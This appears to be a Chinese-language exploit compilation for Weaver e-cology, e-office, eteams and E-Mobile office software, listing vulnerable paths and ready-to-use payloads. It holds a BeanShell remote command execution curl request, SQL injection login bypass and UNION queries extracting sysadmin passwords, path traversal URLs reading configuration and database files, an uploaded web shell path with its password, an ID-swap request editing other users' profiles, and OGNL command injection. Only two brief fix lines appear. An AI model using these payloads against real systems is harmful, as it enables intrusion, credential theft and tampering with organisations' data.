0x01
泛微协同商务软件系统存在命令执行
0x02 漏洞危害
0x03 影响范围
泛微 e-cology<=9.0
0x04 漏洞复现
访问 http://url/weaver/bsh.servlet.BshServlet 输入 payload 如下:
0x05 poc
漏洞路径:/weaver/bsh.servlet.BshServlet
exec("whoami")
curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=ev
al%00("ex"%2b"ec("whoami")");&bsh.servlet.captureOutErr=true&bsh.servlet.outp ut=raw'
0x06修复方案
1、屏蔽/weaver/*目录的访问;
2、https://www.weaver.com.cn/cs/securityDownload.asp
泛微OA系统在
0x01 漏洞描述
攻击者可通过该漏洞页面直接获取到
0x02 影响范围
目前已知为8.100.0531,不排除其他版本,包括不限于EC7.0、EC8.0、EC9.0版
0x03漏洞复现
对这个漏洞要注意两点就是 ,获取密钥。默认密钥1z2x3c4v5b6n。使用密钥解密DES密文!这里使用python脚本自动完成这一步 脚本如下:
SQL注入
前台SQL注入
用户名:
admin' or password like 'c4ca4238a0b923820dcc509a6f75849b' and 'a'='a
密码: 1
验证页面参数 - loginid
(1)
/login/VerifyLogin.jsp?loginfile=%2Fwui%2Ftheme%2Fecology7%2Fpage%2Flogin.jsp%3FtemplateId%3D41%26logintype%3D1%26gopage%3D&logintype=1&fontName=%CE%A2%C8%ED%D1%C5%BA%DA&message=&gopage=&formmethod=get&rnd=&serial=&username=&isie=false&loginid=test&userpassword=11111111111&tokenAuthKey=&islanguid=7&submit=
(2)
/login/VerifyLogin.jsp?loginfile=%2Flogin%2Flogin.jsp%2F%3FtemplateId%3D11%26logintype%3D1%26gopage%3D&logintype=1&fontName=%CE%A2%C8%ED%D1%C5%BA%DA&message=&gopage=&formmethod=post&rnd=&serial=&username=&isie=false&loginid=test&userpassword=1111111111111&tokenAuthKey=&islanguid=7&submit=
未授权访问页面
//services/ 存在注入
/ws/ 存在注入
(3)
/weaver/weaver.file.SignatureDownLoad?markId=1 --参数markld
后台SQL注入
(1)
首先用使用测试账户登录,然后访问
http://xx.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
其中的CONTENT_ID参数能够注射SQL语句。
http://xx.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
(2)
管理员情况下的注入:
http://www.e-cology.cn/systeminfo/sysadmin/sysadminEdit.jsp?id=1
普通用户注入:http://127.0.0.1//cowork/CoworkLogView.jsp?id=151
普通用户注入地址:
http://127.0.0.1/system/basedata/basedata_role.jsp?roleid=32
普通用户注入地址:
http://127.0.0.1//system/basedata/basedata_hrm.jsp?resourceid=3
(3)
/list.do?module=2&scope=5#1
(4)
http://**.**.**.**/hrm/resource/HrmResourceContactEdit.jsp?isfromtab=true&id=29%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,loginid,11,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121%20from%20HrmResourceManager%20where%20loginid=%27sysadmin%27&isView=1
任意文件
测试链接 :
http://eoffice8.weaver.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=index.php&ATTACHMENT_ID=5402024843
其中,参数 ATTACHMENT_NAME 未有效的控制其范围,导致任意文件
配置文件
http://xx.xx.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=../../inc/oa_config.php&ATTACHMENT_ID=5402024843
数据库连接文件下载
http://xx.xx.cn:8028/inc/attach.php?OP=1&ATTACHMENT_NAME=../../mysql_config.ini&ATTACHMENT_ID=5402024843
文件上传
http://xx.xx.cn:8028/attachment/2506423447/conf1g.php4 密码是8(system权限)
数据库后台访问
http://xx.xx.cn:8028/
phpmyadmin/
认证缺陷-绕过登录限制进入后台
则可注入的网址为 http://xx.xx.cn:8028/building/urlurl.php 直接访问显示access denied,
使用hackbar。post内容中,url为general/index.php,smsid为注入sql,内容为1
union select '1','1','admin','1','1','1','1','1','1','1','1','1','1','1',两者都经过DES3加密后再经过base64转码,点击excute...
数据库操作
/ws/query/
泛微eteams_oa系统越权修改任意用户信息
抓包得到一个链接:
https://www.eteams.cn/profile/summary/8005824116863355409.json?_=1408094249509
这时候我们记住8005824116863355409这个东西
我们修改本用户资料处:
我们修改一下电话,然后抓包并且把里面的employee.id替换为8005824116863355409为:
url:https://www.eteams.cn/base/employee/saveProperty.json
postdata:
employee.id=8005824116863355409&propertyName=telephone&employee.telephone=test
E-Mobile 4.5 RCE
**.**.**.**/verifyLogin.do
data:loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${@**.**.**.**.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream())}
http://**.**.**.**/verifyLogin.do
data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**:89/verifyLogin.do
data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
**.**.**.**/verifyLogin.do
data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
敏感文件泄露
/messager/users.data
/plugin/ewe/jsp/config.jsp
路径遍历
/plugin/ewe/admin/upload.jsp?id=11&dir=../../../
/weaver/weaver.file.SignatureDownLoad?markId=1+union+select+'../ecology/WEB-INF/prop/weaver.properties'